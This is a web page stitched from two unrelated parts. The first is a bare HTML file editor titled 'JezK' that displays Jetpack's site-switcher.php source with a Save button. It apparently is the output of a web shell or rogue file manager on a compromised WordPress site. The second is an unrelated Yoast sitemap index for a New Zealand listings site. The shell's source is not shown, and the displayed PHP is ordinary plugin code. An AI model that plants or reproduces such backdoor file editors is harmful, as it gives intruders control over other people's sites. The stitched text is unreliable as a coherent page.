
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: site-switcher.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Site Switcher for Command Palette
 * Enqueues the site switcher UI and loads the compact sites list endpoint
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Connection\Manager as Connection_Manager;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit( 0 );
}

// Load the Jetpack endpoint (not needed on WordPress.com simple sites)
if ( ! ( defined( &#039;IS_WPCOM&#039; ) &amp;&amp; IS_WPCOM ) ) {
	require_once __DIR__ . &#039;/site-switcher-endpoint.php&#039;;
}

/**
 * Enqueue site switcher scripts in all wp-admin pages.
 */
function jetpack_site_switcher_enqueue_scripts() {
	// Only enqueue for users connected to WordPress.com (unless on WPCOM where all users are connected)
	if ( ! ( defined( &#039;IS_WPCOM&#039; ) &amp;&amp; IS_WPCOM ) ) {
		$connection_manager = new Connection_Manager();
		if ( ! $connection_manager-&gt;is_user_connected() ) {
			return;
		}
	}

	// Load asset file for dependencies and version
	$asset_file = JETPACK__PLUGIN_DIR . &#039;_inc/build/site-switcher.min.asset.php&#039;;
	$asset      = file_exists( $asset_file ) ? require $asset_file : array(
		&#039;dependencies&#039; =&gt; array( &#039;wp-api-fetch&#039;, &#039;wp-commands&#039;, &#039;wp-element&#039;, &#039;wp-i18n&#039;, &#039;wp-icons&#039; ),
		&#039;version&#039;      =&gt; JETPACK__VERSION,
	);

	// Register and enqueue site switcher JavaScript
	wp_enqueue_script(
		&#039;jetpack-site-switcher&#039;,
		plugins_url( &#039;_inc/build/site-switcher.min.js&#039;, JETPACK__PLUGIN_FILE ),
		$asset[&#039;dependencies&#039;],
		$asset[&#039;version&#039;],
		true
	);

	// Pass configuration to JavaScript
	$api_path = ( defined( &#039;IS_WPCOM&#039; ) &amp;&amp; IS_WPCOM )
		? &#039;/rest/v1.1/me/sites/compact&#039;
		: &#039;/jetpack/v4/sites/compact&#039;;

	wp_add_inline_script(
		&#039;jetpack-site-switcher&#039;,
		sprintf(
			&#039;window.jetpackSiteSwitcherConfig = %s;&#039;,
			wp_json_encode(
				array(
					&#039;userId&#039;  =&gt; get_current_user_id(),
					&#039;apiPath&#039; =&gt; $api_path,
				),
				JSON_HEX_TAG | JSON_HEX_AMP | JSON_UNESCAPED_SLASHES
			)
		),
		&#039;before&#039;
	);
}

add_action( &#039;admin_enqueue_scripts&#039;, &#039;jetpack_site_switcher_enqueue_scripts&#039; );
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//peacefinder.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://peacefinder.co.nz/post-sitemap.xml</loc>
		<lastmod>2025-05-09T06:53:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/page-sitemap.xml</loc>
		<lastmod>2026-05-02T11:57:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listings-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/product-sitemap.xml</loc>
		<lastmod>2025-03-22T07:11:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listing_template-sitemap.xml</loc>
		<lastmod>2025-05-08T11:33:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/elementor-hf-sitemap.xml</loc>
		<lastmod>2025-03-28T03:15:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/category-sitemap.xml</loc>
		<lastmod>2025-05-09T06:50:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/condition-sitemap.xml</loc>
		<lastmod>2025-09-25T21:26:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/make-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/serie-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/body-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/ca-year-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/mileage-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/transmission-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/engine-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/exterior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/fuel-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/price-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/drive-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/interior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/stm_additional_features-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/author-sitemap.xml</loc>
		<lastmod>2025-05-22T10:05:43+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->